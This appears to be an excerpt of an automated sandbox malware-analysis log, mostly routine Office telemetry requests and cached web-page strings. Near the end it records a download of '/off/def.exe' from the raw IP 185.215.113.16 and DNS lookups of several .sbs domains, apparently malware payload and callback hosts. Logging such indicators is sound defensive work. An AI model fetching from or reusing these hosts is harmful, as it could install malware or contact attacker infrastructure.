Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: frogs-severz.sbs
Source: global traffic	DNS traffic detected: DNS query: occupy-blushi.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

